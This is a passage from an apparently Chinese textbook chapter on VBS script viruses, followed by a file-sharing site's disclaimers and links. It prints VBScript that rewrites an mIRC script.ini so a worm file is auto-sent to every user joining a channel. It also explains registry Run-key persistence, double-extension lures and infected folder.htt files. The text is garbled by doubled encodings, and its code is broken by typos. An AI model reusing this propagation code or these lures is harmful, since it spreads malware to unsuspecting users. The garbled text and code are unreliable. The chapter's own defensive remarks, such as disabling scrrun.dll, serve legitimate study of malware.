‘創(chuàng)建一個(gè)實(shí)例SetWsShell=AppleObject()AppleObject.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”)AppleObject.createInstance() ‘創(chuàng)建一個(gè)實(shí)例SetFSO=AppleObject()
(4)通過(guò)IRC聊天通道傳播這裏僅以MIRC()為例來(lái)說(shuō)明病毒通過(guò)IRC傳播的過(guò)程。由於控制IRC會(huì)話的命令存放在Script.ini中。並且Script.ini檔中的命令是可以自動(dòng)執(zhí)行的。因此,IRC病毒傳播的關(guān)鍵是在Script.ini檔中寫(xiě)一些代碼,利用某些命令給通道中的其他用戶傳送病毒檔,使得用戶使用被感染的通道時(shí),都會(huì)收到一份病毒檔。下麵是一般通過(guò)IRC傳播病毒代碼。Dimmircsetfso=CreateObject(‘Seripting.FileSystemObject”) setmirc=fso.CreateTextFile(“C:\mirc\script.ini”) ‘創(chuàng)建檔
script.ini fso.CopyFileWscript.ScriptFullName,“C:\mirc\attachmemnt.vbs”,True ‘將病毒檔備份到attachment.vbs mirc.WriteLine“[script]” mirc.WriteLine“n0=on1:join:*.*:{if($nick!=$me){halt}/dccsend$nickC:\mirc\attachment.vbs}” ‘利用命令/ddcsend$nickattachment.vbs給通道中的其他用戶傳送病毒檔
mirc.Close
5.腳本病毒獲得控制權(quán)的方法獲取控制權(quán)的能力是病毒的關(guān)鍵能力,下麵介紹腳本病毒獲取控制權(quán)的幾種典型方法。(1)修改註冊(cè)表Windows啟動(dòng)時(shí)會(huì)自動(dòng)加載一些程式。這些程式是下麵的項(xiàng)下的鍵值所指向的程式:HKEY_LOCAL-MACHINE\\SOFTWARE\Microsoft\Windows\Current\Version\Run利用這一特點(diǎn),病毒也可以在此項(xiàng)下加一個(gè)鍵值,讓這個(gè)鍵值指向病毒程式,這樣就能保證在每次電腦啟動(dòng)時(shí)病毒能取得控制權(quán)。(2)修改執(zhí)行方式例如新歡樂(lè)時(shí)光將dll的執(zhí)行方式修改為wscript.exe,也可以將exe檔的映射指向病毒代碼。
(3)引誘用戶執(zhí)行主要辦法是讓用戶產(chǎn)生錯(cuò)覺(jué)。如病毒發(fā)送附件時(shí),採(cǎi)用雙尾碼檔案名,使用戶產(chǎn)生錯(cuò)覺(jué)。例如,使用檔案名xxxx.jpg.vbs。由於默認(rèn)情況下不顯示尾碼,所以這個(gè)雙尾碼檔被顯示為xxxx.jpg,用戶將其誤認(rèn)為是圖片檔而去點(diǎn)擊,執(zhí)行了病毒程式。(4)desktop.ini和folder.htt配合使用desktop.ini和folder.htt可用以配置活動(dòng)桌面,並用以自定義檔夾。如果用戶的目錄中含有著兩個(gè)檔,並且病毒感染了folder.htt,則當(dāng)用戶進(jìn)入該目錄時(shí),就會(huì)觸發(fā)folder.htt中的病毒代碼。
6.VBS腳本病毒的弱點(diǎn)(1)VBS腳本病毒的運(yùn)行,往往要用到一個(gè)對(duì)象:FileSystemObject。(2)VBS腳本病毒運(yùn)行時(shí)需要其關(guān)聯(lián)程式wscript.exe的支持。(3)VBS代碼要通過(guò)WindowsAcriptHost解釋執(zhí)行。(4)通過(guò)網(wǎng)頁(yè)傳播的病毒需要ActiveX的支持。(5)通過(guò)郵件傳播的病毒需要OutlookExpress的自動(dòng)發(fā)送郵件功能的支持。這些弱點(diǎn)可以被用於病毒的防治。例如,禁用對(duì)象FileSystemObject
用regsvr32scrrun.dll/u命令,或者直接查找scrrun.dll檔加以刪除或改名)可以有防範(fàn)作用。
1.3.6電腦病毒技巧俗話說(shuō),道高一尺,魔高一丈。電腦病毒也隨著反病毒技術(shù)的發(fā)展不斷演變、升級(jí)。下麵是電腦病毒在技術(shù)方面的一些技巧。1.增強(qiáng)隱秘性為了使病毒能長(zhǎng)期潛伏,病毒就要增強(qiáng)自己的隱秘性。下麵是幾種增強(qiáng)隱秘性的技術(shù)。(1)避開(kāi)修改中斷變數(shù):早期的病毒程式都要直接修改中斷服務(wù)副程式,以控制常用中斷功能。因此,許多反病毒軟體都對(duì)系統(tǒng)的中斷向量表進(jìn)行監(jiān)視,一旦發(fā)現(xiàn)任何對(duì)系統(tǒng)記憶體中斷向量表進(jìn)行修改的操作,就會(huì)懷疑有病毒在活動(dòng)。針對(duì)這一反病毒技術(shù),病毒程式就要避免修改中斷向量表時(shí)留下痕跡。
例如,有的病毒程式,改修改中斷向量的控制方式為通過(guò)修改中斷服務(wù)副程式,來(lái)獲得系統(tǒng)控制權(quán)。一種方法是前面介紹過(guò)的通過(guò)修改COM檔首指針的方法修改中斷服務(wù)程式,基本步驟為:·從中斷向量表中動(dòng)態(tài)獲得中斷服務(wù)副程式入口;·將該入口開(kāi)始的3~5位元組的指令內(nèi)容保存到病毒體工作區(qū);·修改原入口處的指令為轉(zhuǎn)移指令,轉(zhuǎn)向病毒的中斷服務(wù)副程式入口;·執(zhí)行完病毒副程式後,再轉(zhuǎn)向正常的服務(wù)副程式入口。
(2)謀求在
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 三農(nóng)村電商農(nóng)業(yè)信息化解決方案
- 深路塹施工方案
- 隧道洞口開(kāi)挖施工方案
- 股份制重組解決方案公告
- 藝術(shù)涂料防腐施工方案
- 云計(jì)算資源規(guī)劃與分配手冊(cè)
- 幼兒園股份合同轉(zhuǎn)讓協(xié)議
- 武昌醫(yī)院東區(qū)施工方案
- 廠房獨(dú)立基礎(chǔ)施工方案
- 基坑監(jiān)測(cè)施工方案
- 留守兒童風(fēng)險(xiǎn)評(píng)估表
- LNG生產(chǎn)操作規(guī)程要點(diǎn)
- 教學(xué)能力大賽決賽獲獎(jiǎng)-教學(xué)實(shí)施報(bào)告-(完整圖文版)
- 景德鎮(zhèn)物業(yè)管理服務(wù)收費(fèi)管理實(shí)施細(xì)則
- 完整戶口本英文翻譯模板(共4頁(yè))
- 高二通用技術(shù)-經(jīng)典結(jié)構(gòu)的欣賞課件說(shuō)課講解
- 數(shù)獨(dú)入門(mén)技巧宮摒除法使用
- 使用深埋錨改善橋梁墩柱預(yù)應(yīng)力施工效果
- 客房培訓(xùn)ppt課件
- UCP600中英文對(duì)照版
- 9月份WC50Y支架搬運(yùn)車(chē)的維護(hù)與保養(yǎng)
評(píng)論
0/150
提交評(píng)論